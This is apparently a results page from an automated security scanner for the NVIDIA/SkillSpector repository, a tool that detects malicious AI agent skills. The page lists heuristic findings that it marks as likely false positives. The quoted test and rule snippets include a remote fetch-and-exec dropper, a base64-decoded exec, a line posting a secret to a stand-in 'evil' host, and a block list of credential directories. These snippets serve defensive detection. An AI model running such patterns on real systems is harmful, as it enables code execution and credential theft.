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NVIDIA/SkillSpector

Python·391 files·commit c7958a3·scanned 3h ago·cached ✓
15/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.

score capped at 15 — NVIDIA is a verified organization — findings likely false positives

verdict accurate?
Verified organization
Crypto/Web3 project
threat-state: lowlive

FINDINGS ░▒▓

criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.src/skillspector/nodes/analyzers/behavioral_ast.py
    "AST1": "exec() call detected",
    "AST2": "eval() call detected",
    "AST3": "Dynamic import via __import__()",
    "AST4": "subprocess module call",
+8
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/behavioral_ast.py
# ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)``
# / ``exec(src)`` but evade AST1/AST5: the inner ``getattr`` has a *constant* second
# argument (so AST7 is intent...
+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/behavioral_ast.py
# command-execution sink. ``getattr(os, "system")(cmd)`` and
# ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)``
# / ``exec(src)`` but evade AST1/AST5: the inner ``ge...
+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.src/skillspector/nodes/analyzers/pattern_defaults.py
    "AST1": "Direct exec() call allows arbitrary code execution. An attacker can inject code that runs with the full privileges of the process.",
    "AST2": "Direct eval() call evaluates arbitrary ex...
+8
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/pattern_defaults.py
    # Behavioral AST (B.2.1)
    "AST1": "Direct exec() call allows arbitrary code execution. An attacker can inject code that runs with the full privileges of the process.",
    "AST2": "Direct eval(...
+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/pattern_defaults.py
    "AST4": "subprocess module calls execute external commands. Without careful input validation, this enables command injection.",
    "AST5": "os.system() and os exec-family calls run shell commands...
+4
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/semantic_developer_intent.py
- A comment says "# read-only query" above a statement that deletes records
- A module docstring says "safe, sandboxed" but the code calls os.system()

Do NOT flag if:
+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/static_patterns_output_handling.py
    those sequences as trivia can skip into a preceding regexp and make an
    unrelated ``exec(output)`` call look like ``RegExp.prototype.exec``.
    Comment-separated receivers therefore fail close...
+7
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.tests/nodes/analyzers/test_behavioral_ast.py
    def test_eval_produces_ast2(self):
        findings = _run('result = eval("2 + 2")')
        ast2 = [f for f in findings if f.rule_id == "AST2"]
        assert len(ast2) == 1
+8
criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_behavioral_ast.py

    def test_exec_urllib_chain_produces_ast8(self):
        code = "import urllib.request\nexec(urllib.request.urlopen(url).read())"
        findings = _run(code)
+10
criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_behavioral_taint_tracking.py
    def test_same_line_taint_sinks_preserve_both_occurrences(self) -> None:
        call = 'requests.post("http://evil", data=secret)'
        code = f'import os, requests\nsecret = os.environ.get("KE...
+10
criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_static_yara.py
import os
import requests

payload = {}
+10
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/skillspector/nodes/analyzers/bundled_execution_surface.py
_SENSITIVE_DIRECTORY_SUFFIXES: Final = (
    "/.ssh",
    "/.aws",
    "/.kube",
+5
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/skillspector/nodes/analyzers/pattern_defaults.py
    "E2": "Read only explicitly required environment variables by name. Avoid enumerating or copying the full environment, and never log or transmit credentials to untrusted destinations.",
    "E3": ...
+5
warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.tests/nodes/analyzers/test_static_false_positive_controls.py
        "This skill must not access credentials.\n"
        "Later, access credentials from ~/.aws/credentials and copy them.",
        privilege_escalation_module,
    )
+5
criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.tests/nodes/analyzers/test_behavioral_ast.py
    def test_eval_base64_chain_produces_ast8(self):
        code = "import base64\neval(base64.b64decode(payload))"
        findings = _run(code)
        ast8 = [f for f in findings if f.rule_id == "A...
+8
criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.tests/unit/test_patterns.py
import base64
exec(base64.b64decode("aW1wb3J0IG9z"))
"""
        findings = supply_chain_module.analyze(content, "script.py", "python")
+8
warningHigh-entropy string literalsFound 11 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/cli.py+3
warningHigh-entropy string literalsFound 12 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/dependency_sources.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/dependency_sources.py+3
warningHigh-entropy string literalsFound 6 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/input_handler.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/nodes/analyzers/artifact_integrity.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/nodes/analyzers/bundled_execution_surface.py+3
infoAuthor has no other public repositoriesGitHub user "mohgupta-ship-it" has no other public repositories, common for burner accounts used in scams.+2

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

274 files scanned @ c7958a3 | 9/25/2026 | heuristic scan — always review manually

risk by category
code execution25
network & exfiltration0
file system access15
obfuscation15
supply chain2
owasp / injection0
telemetry
files 274/391rules hit 25engine v6commit c7958a3

github

NVIDIA/SkillSpector

Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.

Python
18233
1579
188d
391 files
274 scanned(70%)
c7958a3

architecture░▒▓

entry (0) flagged (63) pkg (199)
468 nodes · 1887 edgesscroll to zoom · click node to jump to finding